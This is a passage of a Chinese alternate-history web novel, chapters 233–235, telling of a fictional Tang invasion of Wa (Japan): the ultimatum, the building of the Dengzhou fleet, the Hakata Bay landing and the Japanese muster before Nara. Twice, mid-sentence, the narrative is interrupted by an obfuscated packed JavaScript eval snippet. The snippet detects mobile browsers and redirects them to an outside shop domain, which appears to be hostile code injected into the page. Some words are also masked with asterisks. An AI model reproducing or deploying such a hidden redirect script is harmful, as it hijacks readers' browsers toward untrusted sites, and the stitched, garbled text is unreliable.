他目光灼灼,看向三位宰相:“此三步,步步紧逼,名为问罪,实为备战。以半年为期,若倭国能在我大军集结完毕前,做出令我朝满意之让步,则兵戈或可暂息。若其冥顽不灵,则待明年夏秋,东南风起,便是大军东渡,犁庭扫穴之时!”
郝处俊、李敬玄、薛元超三人沉吟片刻,相继颔首。李瑾的方略,考虑周全,步步为营,既有外交上的最后通牒,又有军事上的切实准备,将主动权牢牢掌握在自己手中,又占据了道义和历史的制高点。
“太子太师此策甚妥。”薛元超道,“只是,这问罪特使,人选至关重要。需位高权重,能代表朝廷威严,又需胆略过人,临机决断。”
李瑾沉吟道:“此事,需奏请陛下、天后圣裁。不过,我意,或可由一位熟悉海事、胆气过人之中枢重臣,或一员能代表军方之宿将担任。具体人选,可稍后再议。当务之急,是即刻拟定问罪诏书,并启动备战事宜。”
四人又商议了一些细节,直至暮色降临。最终,一份由政事堂四位宰相联署的奏疏,被紧急送入宫中。奏疏中详细阐述了倭国之罪(重点重提白江口旧恨)、其潜在威胁、以及“先礼后兵、陈兵问罪、以备征伐”的三步策略,并附上了李瑾草拟的《问罪倭国诏》草稿。
紫微宫中,李治倚在榻上,精神不济,主要由武媚娘阅览奏疏。她仔细看完了每一行字,特别是李瑾所列举的倭国六条罪状和重提白江口之战的段落,凤目之中,光芒闪动。
“白江口……旧恨……”武媚娘轻声自语。她当然记得那场战役,那是先帝高宗时代对外战争的一次重大胜利,极大地巩固了唐朝在东北亚的霸权。如今,李瑾巧妙地将这段历史重新提起,不仅勾起了朝野对倭国的旧恶,更将可能的征讨行动,包装成了“复仇”与“维护天朝尊严”的正义之举,极大地削弱了“恃强凌弱”的道德压力。
“重提旧事,以彰其恶;陈兵海上,以慑其心;遣使问罪,以观其变……三郎此策,步步为营,老成谋国。”武媚娘对身旁的李治柔声道,“陛下,倭国确有不臣之心。高句丽方平,若容倭国效尤,则四夷效仿,国威何存?白江口殉国将士英灵何安?瑾儿所言,不无道理。当示之以威,若其悔悟,则羁縻之;若其顽抗,则征伐之。海疆不安,则辽东、新罗亦难宁。此乃一劳永逸之策。”
李治咳嗽了几声,略显浑浊的眼睛看着武媚娘,缓缓点头:“媚娘所言……甚是。倭国……小丑耳。然跨海……用兵,需谨慎。既有旧恨,又添新仇……问罪可也。具体……媚娘与三郎……斟酌办理。勿使……国库空虚,民生疲敝。”
“陛下放心,臣妾与三郎、诸位相公,自会妥善处置,必不使陛下忧心。”武媚娘温言安慰,眼中却闪过一丝锐利的光芒。高句丽的胜利,极大地增强了她的威望和权力欲。若能再平倭国,将帝国的影响力真正扩展到海洋,那将是何等功业?而且,借此机会,进一步巩固李瑾的军事领导地位,震慑朝中可能的异议,也是一举多得。
很快,圣旨下达。朝廷正式颁布《问罪倭国诏》,诏书历数倭国自前隋以来罪状,尤其详述白江口之战“忘恩负义,以怨报德,侵我藩属,杀我将士”之恶行,痛斥其现今“停派遣使,阴蓄异志”之悖逆,责令倭国王“速遣亲信重臣,奉表至洛阳,自陈其罪,并即刻恢复遣使,永绝邪心”,否则“王师所指,海波难平,勿谓言之不预!”
诏书以邸报形式,通告全国州县,并传檄四方藩国。同时,兵部、户部、工部开始紧锣密鼓地筹备,登、莱、楚、明等州水寨,日夜赶工,整修战舰,囤积物资。一批精干的“商人”、“僧侣”,也从登州、明州等地悄然出海,驶向东方。
白江口的旧恨,被重新点燃,化为宣示征讨大义的熊熊烈火。战争的齿轮,在诏书颁下的那一刻,开始缓缓转动。而此刻的倭国,是否感受到了来自西面海洋上,那越来越近的、夹杂着历史硝烟与冰冷杀意的海风?
第233章 巨舰下东海
麟德八年,春。
随着《问罪倭国诏》的颁行和白江口旧恨的重提,大唐朝廷征伐倭国的战略意图已昭然若揭。尽管朝中仍有零星异议,认为跨海远征耗费巨大、风险莫测,但在李瑾与武媚娘的坚持下,在灭高句丽余威的震慑下,在“复仇雪耻、永绝海患”的大义名分下,主战的声音牢牢占据了上风。战争的机器一旦启动,便以惊人的效率运转起来。
登州,水寨。
这里已完全成为一座巨大的兵营和造船工场。从去年腊月起,来自大唐沿海各州——扬州、楚州、明州、福州、广州,乃至内陆江河造船基地的工匠、物料,便源源不断地向登州汇集。朝廷的旨意明确:以登州为主,莱州为辅,打造一支足以跨海远征、搭载数万大军的庞大舰队。
李瑾在颁布诏书后不久,便以“巡阅海防、督造战船、筹备东征”的名义离开洛阳,亲临登州坐镇。他深知,跨海远征,胜负之机,泰半系于舟师。高句丽的陆战胜利无法简单复制到海上,大唐需要一支超越时代的、真正强大的远洋舰队。
水寨内外,人声鼎沸,锤凿叮当,号子震天。海湾内,数百艘大小船只正在紧张地修造、改造、装配。其中既有传统的楼船、艨艟、斗舰、走舸,更有近年来在“格物院”指导下,结合传统技艺与李瑾提供的后世理念,新设计建造的“海鹘”级大型战舰。
“殿下请看,这便是新下水的‘镇海’号,是此番打造的五艘‘镇’字级旗舰之一。”登州水师都督、此次被任命为东征舰队副总管(总管由李瑾亲兼)的何迦楼,一位皮肤黝黑、身形矫健的老水军将领,指着港湾深处一艘巍峨如山的巨舰,向李瑾介绍,语气中充满了自豪。
李瑾放眼望去,也不禁为之震撼。这艘“镇海”号,其规模远超当下常见的楼船。船体长达五十余丈(约150米),宽达十余丈,采用水密隔舱结构,抗沉性大增。船体以硬木为骨,外包厚重板材,关键部位还覆有铁甲。船首装有坚固的冲角,两侧舷墙高耸,开有密密麻麻的射击孔。最引人注目的是,船舷两侧和船艉楼上,赫然安装着数十门黑黝黝的物事——那是经过改良、更适合舰载的“神威”系列青铜火炮,有长管加农炮用于远程轰击,也有短管臼炮用于近战和抛射***。甲板上,高大的主桅和副桅耸立,悬挂着巨大的硬帆,帆索系统复杂而高效。船舷旁,还配备了数十艘用于接舷、运输、侦察的“海鹘”快艇和小型桨帆船。
“此船可载士卒几何?载货多少?航行可稳?”李瑾一边沿着临时搭建的栈桥走近巨舰,一边询问。
“回殿下,”何迦楼如数家珍,“满载可载战兵八百,水手桨手三百,马匹五十。下两层货舱,可载粮秣、淡水、箭矢、**、备件等物资,足以支撑海上月余航行,或登陆后旬日作战。船体设计参考了海商的大食船(阿拉伯帆船)和昆仑船(东南亚船只)优点,底平而阔,吃水深,稳定性佳,加之水密隔舱,纵使遭遇风浪,亦不易倾覆。船上设有‘格物院’新制的‘牵星板’、‘量天尺’(简易航海仪器)和改良的司南(罗盘),白日观日,夜间观星,辨识方位更为精准。”
李瑾满意地点点头。这已是集合了当下大唐最高造船、军工、航海技术的结晶。他登上“镇海”号,甲板宽阔平整,火炮炮位布局合理,留有足够的作战空间。走进船舱,虽然还有些木材和油漆的味道,但结构坚固,通风采光也经过考量。他甚至看到了专门的医务舱和**存放隔离舱。
“好!有此等巨舰,跨海远征,我军方有依托。”李瑾赞道,随即又问,“此等大舰,现下有多少?改造的旧舰又有多少?运输粮秣、兵员的船只可充足?”
何迦楼回道:“禀殿下,新造‘镇’字级五千料以上大战舰五艘,已下水三艘,另两艘月内可成。新造‘定’字级三千料战船二十艘,已完工十二艘。另有从各地水师抽调、经加固改造的千料以上楼船、艨艟五十余艘。运输船方面,征调、租用沿海各州大型海舶、漕船三百余艘,皆已加固,加设女墙,可载兵员、马匹、粮草、攻城器械。此外,还有各类走舸、快艇、联络小船数百。总计大小船只近千艘。目前登、莱二州水寨,已集结水手、桨手三万,水军战兵两万,另有从安东、河北、河南、淮南等地抽调、陆续抵达的步骑精锐四万余人,民夫、工匠三万余。各色粮秣、箭矢、**、甲仗、药材,堆积如山。只等东南季风稳定,便可扬帆东渡。”
四万战兵,三万水手,三万余后勤,总计十万之众!这还不包括可能助战的新罗军队。如此规模的跨海远征军团,在大唐历史上是空前的,即使在当世世界,也堪称骇人听闻。这背后,是大唐灭高句丽后如日中天的国力和调动能力,也是李瑾竭力推动、武媚娘鼎力支持的结果。
“新罗方面联络如何?”李瑾又问。新罗是此次东征的关键一环,既可作为前进基地,也可提供向导、辅兵甚至直接出兵。
“新罗王金法敏已遣其弟金仁问为使,再次入洛阳朝贡,并上表恳切,愿倾国相助,共讨不臣。其国已在其南部沿海的釜山浦、金海等地集结军队、粮草,并修缮港口,供我大军停靠休整。金仁问现已在赶来登州的路上,预计将随军行动,担任向导和联络。”何迦楼道。
李瑾颔首。新罗的积极态度在意料之中。高句丽覆灭,新罗是最大受益者之一,但也更加畏惧大唐。此番征倭,新罗不敢不尽心竭力。有熟悉倭国海情、地理的新罗人协助,胜算又增几分。
接下来几日,李瑾深入船厂、军营、仓库,仔细检阅。他看到工匠们日夜不休地打造、修复船只,听到军营中震天的操练声,闻到**工坊传来的硫磺气味,触摸到堆积如山的粮袋和寒光闪闪的兵器。整个登州地区,仿佛一台精密而狂暴的战争机器,正在为即将到来的跨海远征蓄力、预热。
当然,困难与挑战也无处不在。最大的问题仍是航海经验与跨海补给。虽然大唐水师在近海和内河作战经验丰富,但组织如此庞大的舰队进行长途跨海航行和两栖登陆作战,仍是头一遭。海况莫测,疾病(特别是坏血病,李瑾已命**量携带茶叶、豆芽、腌菜等,但效果如何未知)、淡水补给、舰队指挥协调、登陆后的后勤保障……每一个环节都充满未知。
为此,李瑾召集了所有水师将领、经验丰富的老海商、甚至“格物院”中通晓天文地理的学者,反复商讨。他们根据海商提供的航线图和零星情报,结合季风规律,最终确定了航行路线:主力从登州出发,先至新罗南部港口(如金海)集结休整,补充淡水,然后借初夏稳定的东南风,横渡朝鲜海峡,直扑倭国九州岛北部(对马岛、壹岐岛是必经之地,需首先夺取作为跳板),最后在筑紫(九州北部福冈地区,历史上有名的登陆点)一带登陆。同时,派遣一支偏师,从明州(宁波)或福州出发,沿琉球群岛(此时尚未完全开发)一线,进行战略佯动或牵制。
舰队编组也经过精心设计:以五艘“镇”字级巨舰为核心,搭配“定”字级战船和精锐楼船,组成前、中、后三个主力舰队,负责作战、护航。运输船队则分为数波,由老旧但可靠的船只护航,运载陆军主力、马匹和大部分物资。建立严格的旗语、灯火、鼓号通讯系统,并规定了遭遇风暴、敌袭、迷航等各种情况的应急预案。
李瑾甚至亲自动手,结合后世知识,绘制了相对精确的朝鲜海峡、对马海峡、九州北部海岸线的示意图,标注了可能的登陆点、水深、暗礁、淡水水源等信息——这些资料,部分来自海商口述,部分来自先前派出的斥候冒险探查,部分则来自他那超越时代的记忆。
“记住,我们最大的敌人,可能不是倭人,而是大海本身。”在一次高级将领会议上,李瑾严肃地告诫所有人,“风浪、疾病、迷航、缺水……任何一项处理不当,都可能让大军未遇敌而先溃。各船必须严格按编队航行,保持联络。淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073751|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水、粮食需有专人看管,定量配给。军中医官需随船,提前备好防治晕船、腹泻、暑热之药。每日必须让士卒食用一定蔬菜、茶叶。违令者,无论将校,军法从事!”
众将凛然应诺。他们跟随李瑾平高句丽,深知这位太子太师用兵谨慎周密,对后勤、卫生等细节要求近乎苛刻,但也正是这种苛刻,让唐军在高句丽战场上保持了高昂的士气和战斗力。
四月末,新罗使臣金仁问抵达登州,带来了新罗王金法敏的亲笔信和更详细的倭国情报(包括倭国在九州、本州的**、港口防御等,虽然不够精确,但已极为宝贵)。金仁问本人也将率领一支新罗水师和数千新罗军,随唐军一起行动。
五月初,最后一批从内陆调集的精锐步卒——来自安西、北庭的善战老兵,抵达登州。至此,远征军的陆战主力基本集结完毕。四万唐军步骑,加上数千新罗军,以及数万水手、民夫,总数超过十万的庞大人马,将登州及其周边挤得满满当当。
五月中旬,天公作美,持续的东南风开始稳定。各项准备也已基本就绪。李瑾在登州城外设坛祭海,告祭海神,祈求风平浪静,佑我王师。仪式庄严隆重,十万将士肃立,旌旗如林,刀枪如雪。
祭海完毕,李瑾登上一艘“镇”字级巨舰“定远”号(与平壤牡丹峰上的“定远阁”同名,取“平定远疆”之意)的艉楼最高处。他一身明光铠,外罩紫色战袍,腰悬宝剑,目光扫过港湾内密密麻麻、帆樯如云的舰队,扫过岸上肃立如林、盔明甲亮的将士。
海风猎猎,吹动他的战袍和旗帜。他深吸一口带着咸腥味的海风,胸中豪情与凝重交织。跨海远征,这是一场豪赌,赌上的是十万将士的性命,是大唐的国运,也是他李瑾的声望与未来。但他别无选择。倭国的不臣之态,是必须拔除的隐患。白江口的旧恨,需要一场彻底的胜利来洗刷。大唐的海洋雄心,也将由此启航。
他缓缓抽出腰间御赐的“定远”剑,剑指东方,声音透过特制的铁皮喇叭,清晰地传遍海湾:
“三军将士们!”
“二十余年前,白江口外,倭国忘恩负义,联兵百济,侵我藩属,杀我将士,血染碧波!此仇此恨,至今未雪!”
“今,倭国不思悔改,反怀悖逆,停派遣使,阴蓄甲兵,窥我海疆!其罪昭彰,神人共愤!”
“陛下、天后震怒,颁诏问罪。然倭主冥顽,拒不奉诏!天讨有罪,王师恭行!”
“吾等奉天子诏,举义兵,跨东海,讨不臣!此战,乃复仇之战!乃雪耻之战!乃卫我海疆、永绝后患之战!”
“尔等皆我大唐百战精锐,灭高句丽,威震辽东!今携大胜之威,乘巨舰,破长风,直捣倭巢!本帅在此立誓,与诸君同舟共济,生死与共!有功必赏,后退者斩!”
“此去东海,荡平丑类,扬我国威!让倭人知道,犯我大唐天威者,虽远必诛!”
“大唐万胜!陛下万岁!天后万岁!”
十万将士齐声怒吼,声浪如雷霆般滚过海面,直冲云霄:“万胜!万岁!万胜!万岁!”
“启航——!”李瑾长剑挥下。
呜呜的号角声在各船响起,巨大的硬帆缓缓升起,缆绳解开,长桨入水。以“定远”号为前导,五艘“镇”字级巨舰率先缓缓驶出港湾,随后是数十艘“定”字级和改造楼船,再后面是浩浩荡荡的运输船队。千帆竞发,舳舻千里,旌旗蔽日,鼓角相闻。巨大的船影遮蔽了海面,向着东方,向着那片笼罩在迷雾和未知中的列岛,破浪前行。
岸上,送行的官员、民夫、百姓,无数人挥手、欢呼、落泪。这是一支承载着帝国荣耀与野心的舰队,也是一次充满艰险的未知远征。
李瑾站立在“定远”号艉楼,任凭海风吹拂。身后,是渐行渐远的大陆和登州水寨的轮廓。前方,是浩渺无垠、波涛起伏的东海。阳光刺破云层,洒在万顷碧波和如林的帆樯上,泛起一片金色的光芒。
巨舰下东海,征途自此始。
第234章 九州岛登陆
麟德八年,五月中下旬,东海之上。
由近千艘大小船只组成的庞大远征舰队,在东南季风的推动下,自登州湾浩荡东出,先沿山东半岛东行,再折向东北,历时十余日,抵达新罗南部重镇金海(今韩国釜山附近)外港。新罗王金法敏已在此恭候多时,亲自劳军,并提供了充足的淡水、新鲜果蔬补给,以及一批熟悉对马海峡水文、能操倭语的向导。
在金海短暂休整三日后,舰队再次扬帆,沿着新罗东南海岸,穿越风浪相对平缓的对马海峡西水道。这一次,航程更加凶险。海峡之中,洋流湍急,风向多变,雾气时常笼罩海面。尽管有经验丰富的老水手和向导引航,尽管“镇”字号巨舰稳如泰山,仍有数十艘较小的运输船在风浪中受损,甚至有两艘不幸倾覆,所幸落水人员大多被及时救起。海上的晕船、腹泻也开始在部分北地出身的士兵中蔓延,好在李瑾事先严令各船主官注意饮食卫生,大量携带的茶叶、豆芽、腌菜和军医的及时诊治,将非战斗减员控制在了较低水平。
舰队旗舰“定远”号上,李瑾几乎日夜不离艉楼,时刻关注着海图、罗盘和牵星板的读数,与何迦楼、金仁问等将领、向导反复核对航线。夜晚,他常仰观星斗,利用后世的知识辅助定位。他知道,历史上多少跨海远征,都因航线偏差、风暴疾病而功败垂成,他决不能让这种事情发生。
五月廿七,晨雾初散。桅杆顶端的瞭望哨发出了急促的锣声和旗语:“前方发现岛屿!左舷,是岛!右舷,也是岛!”
李瑾举起望远镜——这是“格物院”根据他的描述最新磨制的单筒望远镜,虽然倍数不高,但已远胜肉眼——望向东方。薄雾中,一片起伏的黛青色轮廓,如同巨兽的脊背,缓缓浮现在海天之际。随着舰队靠近,轮廓逐渐清晰,那是两座不算太大、但植被茂密的岛屿。
“殿下,前方应是对马岛和壹岐岛!”新罗向导金仁问仔细辨认后,激动地喊道,“过了此二岛,便是筑紫(九州)了!”
对马岛、壹岐岛,扼守朝鲜海峡与对马海峡的咽喉,是通往倭国九州的门户。夺取这两座岛屿,不仅能为大军提供休整、补给的跳板,更能扫清航线上的障碍,控制海峡。
“传令!前军舰队,展开战斗队形!斥候快船,前出侦察!各船做好战斗准备!”李瑾沉声下令。平静的海上航行结束了,战争的序幕即将拉开。
出乎意料的是,对马岛和壹岐岛的抵抗微乎其微。斥候回报,两岛上虽有倭人聚居的渔村和少量简陋的烽火台、哨所,但并未见到成建制的军队,只有一些零散的武装渔民和当地豪族的私兵,见到遮天蔽日的唐军舰队,早已吓得四散奔逃,或跪伏于地,不敢抵抗。唐军前锋几乎兵不血刃便登上了对马岛,并在岛上最高点升起了大唐的赤旗。
“倭人主力,必是收缩于筑紫本土,企图凭险固守,或于海滩与我决战。”李瑾在“定远”号上召开军议,分析道,“对马、壹岐,地小民寡,难以固守,倭人弃之,意在集中兵力。此乃常理。然,我军不可轻敌。传令全军,在对马岛南部良港停泊休整一日,补充淡水,检查船只器械。斥候加倍派出,详探筑紫沿岸倭军布防情况。登陆地点,按原计划,首选博多湾(今福冈博多湾)!”
博多湾,水深港阔,滩涂平缓,是九州北部难得的天然良港,也是历史上(如元日战争)外敌入侵的主要登陆点之一。李瑾选择此地,既是基于地理考虑,也是一种战略上的“阳谋”——以堂堂之师,正面强攻,以绝对实力碾压,彻底摧毁倭军的抵抗意志。
一日后,舰队再次启航,穿过壹岐岛与九州本土之间的狭窄水道。这一次,气氛明显紧张起来。各战舰炮窗打开,黑洞洞的炮口指向海岸方向。士兵们披甲执锐,在甲板上列队。运输船上,战马不安地打着响鼻,步兵们检查着**刀枪。
五月廿九,午时刚过,博多湾辽阔的海湾和远处绵长的海岸线,终于清晰地展现在唐军眼前。海湾内,散布着一些渔船和小型港口。而最引人注目的是,在预定的几处主要滩头后方,隐约可见尘土飞扬,旗帜招展,一道道简陋的土垒、木栅沿着海岸线延伸,其后似乎有密密麻麻的人影攒动。
倭军,果然在此严阵以待。
“倭人倒也不蠢,知道守株待兔。”副总管何迦楼举着望远镜观察,“看旗帜和营垒规模,兵力当不下两三万。看其布置,是想凭工事阻击我军于滩头,待我军半渡而击。”
李瑾也仔细观察着。倭军的防御工事看起来比较原始,主要是挖掘的壕沟、堆积的土垒和粗大的木栅栏,缺乏砖石结构。工事后面,能看见一些简易的箭楼。倭军士兵的甲胄在阳光下反射着杂乱的光,似乎以竹木、皮革为主,金属甲不多。阵型也显得有些混乱拥挤。
“倭军战法,仍多效仿古时,重个人勇武,轻阵法配合。其弓矢射程、甲胄防护,远不如我。唯一可虑者,是其凭工事固守,以及可能的决死冲击。”李瑾放下望远镜,语气沉稳,“传令,按甲案执行。水师战舰前出,炮火覆盖,摧毁其滩头工事,压制其弓矢!登陆船队,准备抢滩!”
“得令!”
旗舰上令旗挥舞,号角齐鸣。庞大的舰队开始变换阵型。以五艘“镇”字级巨舰为核心,二十余艘“定”字级和精锐楼船组成的炮击舰队,在何迦楼的直接指挥下,缓缓驶向海湾深处,在距离海岸约一里(约500米,在火炮有效射程内)的海面上,一字排开,侧舷对准了倭军的滩头阵地。
倭军阵地上一阵骚动。他们从未见过如此巨大的战舰,更未见过战舰侧舷那密密麻麻的、黑洞洞的炮口。一些倭军将领似乎意识到了什么,声嘶力竭地呼喝着,士兵们纷纷躲到工事后面,张弓搭箭,紧张地瞄准着海面上如山般的舰影。
“目标,敌军前沿工事及后方集结区域!各炮位,自行瞄准!”何迦楼令旗挥下。
轰!轰轰轰!
先是零星几声巨响,随即连成一片震耳欲聋的雷鸣!五艘巨舰和二十余艘战船的侧舷,喷吐出炽烈的火光和浓密的硝烟。数十枚实心铁弹呼啸着划破空气,砸向倭军阵地。
顷刻间,木屑、泥土、碎石伴随着残肢断臂飞上半空!实心炮弹轻易地撕碎了木栅,轰塌了土垒,在密集的倭军队列中犁开一道道血肉胡同。更有几枚炮弹恰好落在疑似指挥所或箭楼的位置,将其轰得四分五裂。
倭军被这突如其来的、远超弓箭射程的毁灭性打击打懵了。他们从未经历过炮击,甚至无法理解那发出巨响和火焰的是什么武器。惨叫声、哭喊声、惊叫声响成一片,原本就有些混乱的阵型顿时大乱。许多倭兵惊恐地蜷缩在残破的工事后面,或转身向后逃窜,任凭将领如何呼喊**也制止不住。
第一轮炮击过后,海面上的战舰开始了有条不紊的装填。而运输船队则开始行动。数百艘大小不一的登陆船、舢板、甚至一些中型战船,满载着全副武装的唐军甲士,在水师战舰的掩护下,如同离弦之箭,朝着硝烟弥漫的滩头冲去。
倭军中也有悍勇之辈,在一些将领的弹压下,部分弓手开始向海面上的登陆船队放箭。稀稀落落的箭矢射在唐军的大盾和船板上,效果寥寥。唐军船上的**手和少数小型**炮、一窝蜂火箭也开始还击,压制倭军残存的远程力量。
登陆船冲上滩头,放下跳板。第一批唐军重甲步兵,顶着盾牌,吼叫着跳入齐膝深的海水中,向着岸边涉水冲锋。他们以严密的盾阵为前锋,长矛如林,**手在后,迅速在滩头建立起稳固的桥头堡。
倭军试图发起反冲锋,一些穿着具足、手持长刀(类似后来的**雏形)的倭军武士,嚎叫着带领足轻(步兵)从工事后冲出,扑向唐军阵线。迎接他们的是唐军盾阵后如蝗的**箭,以及阵中不时投掷出的、冒着青烟的陶罐——这是“格物院”特制的、装填了**和铁蒺藜的“手掷雷”,虽然威力不如火炮,但近距离**的巨响和破片,对无甲或轻甲的倭兵造成了巨大的心理和物理杀伤。
轰!轰!几声闷响,冲在最前面的几个倭军武士和足轻被炸得血肉模糊,后面的倭军攻势为之一滞。唐军重步兵趁势向前推进,长矛从盾牌间隙凶狠地刺出,将靠近的倭兵捅穿。
与此同时,海面上的战舰开始了第二轮、第三轮炮击,重点轰击倭军纵深处疑似集结地和指挥区域,阻止其增援滩头。猛烈的炮火彻底打乱了倭军的防御体系。
“唐**器厉害!不可力敌!”
“天罚!这是唐人的妖法!”
“快逃啊!”
恐慌像瘟疫一样在倭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086394|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军中蔓延。面对从未见过的巨舰、雷霆般的火炮、**的手掷雷,以及唐军严整的阵型和精良的甲胄兵器,许多倭军士兵的斗志迅速崩溃。尽管仍有少数武士和将领在死战不退,但整条防线已开始动摇、后撤。
“传令,后续部队立即登陆,扩大滩头阵地!骑兵准备,一旦滩头稳固,立即上岸,追击溃敌!”李瑾在“定远”号上看得分明,冷静地下达命令。
越来越多的唐军登陆船靠岸,大批步兵、**手涌上海滩,迅速巩固并扩大登陆场。唐军的旗帜一面面插上了被炮火蹂躏过的倭军工事。大约一个时辰后,一片相对宽阔、稳固的滩头阵地已经建立。早已在运输船上等得不耐烦的骑兵,开始牵着战马下船。这些来自安西、陇右的剽悍骑士,一旦上岸,翻身上马,便如同出闸的猛虎,开始沿着海岸线和溃逃倭军的方向进行试探性追击和扫荡。
至傍晚时分,唐军已完全控制了博多湾数里长的海岸线,并在内陆推进了二三里,建立起了坚固的营寨。倭军遗尸遍野,残存的守军已向筑紫腹地(太宰府方向)溃逃。唐军首战告捷,登陆成功,自身伤亡轻微。
是夜,唐军大营灯火通明,戒备森严。中军大帐内,李瑾召集众将议事。
“今日登陆,我军大胜,赖陛下、天后洪福,将士用命,火器犀利。”李瑾首先肯定了战果,随即话锋一转,“然,此战所遇,恐非倭军主力。观其战法、装备、士气,似是九州本地豪族武装及临时征召的农兵。倭国朝廷精锐,特别是其仿我府兵制建立的‘军团’(后期律令制下的军事组织),以及贵族私兵‘武士’,应未在此与我决战。”
何迦楼点头:“殿下明见。倭人应是料到我军会于博多湾登陆,故在此设防。然其工事简陋,兵无斗志,一触即溃。其主力,恐集结于太宰府(九州**军事中心,今福冈县太宰府市)或更后方的筑后、丰后一带,甚至可能已退守关门海峡(连接九州与本州的海峡)之后,企图凭险固守,或在本州与我决战。”
新罗王子金仁问补充道:“据我所知,倭国朝廷近年确在整顿军备,其精锐多集中于畿内(奈良、京都一带)及东部边境。九州虽设太宰府镇守,但兵力并非最强。其国中,九州、本州各地豪族势力颇大,未必齐心。今日溃兵,多着杂乱,应是豪族私兵居多。”
李瑾沉吟片刻,道:“无论其主力何在,我军既已登陆,便须速战速决,不可久拖。九州乃其门户,夺取九州,便可获得稳固之前进基地,威胁其本州。明日,留一部兵力守卫滩头大营及舰队,主力水陆并进,先取博多津港(福冈博多港),再攻太宰府!务必在倭国朝廷反应过来、调集全国兵力之前,拿下九州全境!”
他走到临时绘制的简易地图前,手指点向太宰府:“攻占太宰府后,我军可分兵数路,扫荡九州各郡,降服本地豪族。同时,遣水师一部,巡弋九州周边海域,封锁关门海峡,阻止本州援兵,并威慑倭国朝廷。若其主力敢来援九州,则聚而歼之于海上或滩头;若其固守本州,则待九州稳固,筹集粮秣,打造器械,再图跨海进攻本州!”
众将凛然应诺。他们深知,登陆成功只是第一步。真正的硬仗,可能还在后面。倭国毕竟是一国,纵有内部分歧,面对外敌入侵,其朝廷和主要豪族很可能暂时团结起来。接下来的太宰府攻防战,以及可能的九州扫荡战、乃至未来的本州决战,都不会轻松。
然而,今日登陆的顺利和火器的惊人威力,极大地提振了全军士气。唐军将士们相信,在太子太师的统领下,在无敌的巨舰和火炮面前,任何敌人都将被碾碎。
翌日,唐军主力水陆并进,扑向近在咫尺的博多津港。港内仅有少量倭军船只和守军,稍作抵抗便被唐军水师击溃或焚毁。唐军几乎兵不血刃占领了这座重要的港口城市,获得了大量囤积的粮秣和物资,也找到了可靠的泊地和补给点。
站在博多津残破的码头上,看着海面上自家舰队巍峨的身影和港口内堆积如山的缴获物资,李瑾知道,征倭之役,已经成功地踏出了最坚实的第一步。脚下的土地,是陌生的,但头顶的日月,与中原无异。大唐的龙旗,已然插上了倭国的土地。接下来的每一步,都将是帝国力量向更远海洋延伸的坚实足迹。
第235章 决战奈良京
占领博多津,夺取太宰府,唐军在九州的攻势如秋风扫落叶。倭国在九州的统治力量本就相对薄弱,且多为地方豪族私兵,在唐军强大的野战能力和恐怖的火器面前,几乎未能组织起有效的抵抗。少数据守山城、负隅顽抗的豪族,也在唐军步兵的强攻和火炮的轰击下迅速覆灭。至麟德八年六月中旬,除南部部分偏远山区尚有零星抵抗外,九州全境已基本落入唐军控制。
李瑾坐镇太宰府,迅速推行怀柔与威慑并用的策略。他下令严明军纪,禁止无故屠戮平民、焚烧神社佛寺(除非武装抵抗),并利用投降的当地贵族、僧侣维持秩序。同时,宣布废黜倭国朝廷在九州的统治,设“筑紫安抚使”,以新罗王子金仁问为安抚使,暂管九州民政,并征发粮草、民夫,为下一步进攻本州做准备。金仁问通晓倭语,熟悉当地情势,且新罗与倭国有世仇,用他既能有效管理,又能牵制本地势力。
然而,对唐军真正的考验即将到来。倭国朝廷在经历了初期的震惊和慌乱后,终于从唐军登陆的打击中缓过神来,开始疯狂地集结全国力量。九州失陷的消息,如同一记重锤,敲醒了沉迷于“神国”迷梦的奈良朝廷(此时倭国都城在藤原京,但习惯仍称奈良京或平城京,为便于叙述,后文称奈良京)。天武**(此时在位的是天武**,年号朱鸟,但为方便,仍用“**”称之,实际当时倭国君主对内自称“**”,对外称“国王”)和掌握实权的藤原不比等(藤原镰足之子,此时为右大臣,权倾朝野)深知,九州陷落,本州门户洞开,若再不集结主力决战,一旦唐军跨过狭窄的关门海峡,倭国将面临灭顶之灾。
整个六月下旬到七月,倭国朝廷以“防人”、“军团”制度为基础,向畿内(奈良、京都地区)及东国(关东)诸国发出最紧急的动员令,征发所有十五岁以上、六十岁以下的男子。各大贵族、寺社也纷纷派出自己的私兵、僧兵。无数粮草、兵器从各地向奈良、难波(大阪)等地汇集。尽管装备杂乱、训练不足,但在生死存亡的威胁下,倭国还是以惊人的速度,拼凑起了一支人数庞大的军队。根据战后估算,其总兵力可能超过十万,核心是约两三万装备相对较好、有一定战斗经验的畿内军团和贵族武士,其余多为临时征召的农民、渔民。
倭军的战略意图也很明确:放弃在九州与唐军纠缠,收缩兵力,依托本州西部(中国地区)的山川险阻迟滞唐军,同时将主力集结于畿内平原,尤其是奈良京周边,利用主场之利,寻求与渡海而来、补给线漫长的唐军进行决战,一举击溃或至少重创唐军,迫使其退兵。
李瑾在九州的情报网(包括新罗探子、投降的倭人贵族、以及唐军自身斥候)很快捕捉到了倭军的动向。大量军队和物资正向畿内集中,奈良京周边营垒相连,旗帜蔽日。
“倭人欲在奈良京外,与我军决战。”太宰府(已被唐军改为临时帅府)内,李瑾指着墙上新绘制的本州西部及畿内地区地图,对众将道,“其意图,是发挥兵力优势,以逸待劳,在我军远来疲敝、补给不便时,寻求决战。”
